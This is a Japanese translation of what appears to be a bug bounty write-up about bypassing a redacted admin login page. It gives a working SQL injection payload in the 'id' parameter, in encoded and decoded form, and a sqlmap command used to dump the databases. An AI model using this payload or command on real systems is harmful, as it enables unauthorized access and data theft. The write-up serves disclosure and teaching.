ソース:
訳:
脆弱なログインページの特定
私が訪れたとき https://redacted.com/redacted/redacted_admin.xml
, ログインプロンプトが表示されていることに気づきました。
資格情報を入力して「ログイン」をクリックすると、アプリケーションは次の方法で資格情報を含む GET リクエストを送信します。
GET /redacted/redacted_admin.xml?id=admin&pswd=admin&uniqueId=0.5331820440279285 HTTP/1.1 2
基本を試した後、 admin:admin
運が悪かったので、ページ上の JS を読んで、SQL インジェクションを試してみることにしました。 さまざまなペイロードをテストした結果、実際に機能するペイロードにたどり着きました。 id
ペイロードを使用するパラメータ:
-6513%27%20OR%20%28SELECT%20INSTR2%28NULL%2CNULL%29%20FROM%20DUAL%29%20IS%20NULL--%20SpSw
↓
-6513' OR (SELECT INSTR2(NULL,NULL) FROM DUAL) IS NULL-- SpSw
リクエストの全体は以下の通り。
https://redacted.com/redacted/redacted_admin.xml?id=-6513%27%20OR%20%28SELECT%20INSTR2%28NULL%2CNULL%29%20FROM%20DUAL%29%20IS%20NULL--%20SpSw&pswd=admin&uniqueId=0.5331820440279285
↓
https://redacted.com/redacted/redacted_admin.xml?id=-6513' OR (SELECT INSTR2(NULL,NULL) FROM DUAL) IS NULL-- SpSw&pswd=admin&uniqueId=0.5331820440279285
このリンクにアクセスすると、管理パネルにアクセスできました。
sqlmap を使用した追加の悪用
私も走った sqlmap
ステップ 1 の生のリクエストで、すべてのデータベースを取得するのに役立ちました。
この強力なツールは、データベースの構造とその内容についての貴重な洞察を提供します。
私が使用したコマンド:
sqlmap -r request.txt --random-agent --dbs --proxy=http://127.0.0.1:8080 --force-ssl --batch --risk 3 --level 3
予想どおり、データベースが返されました。
ほなほな。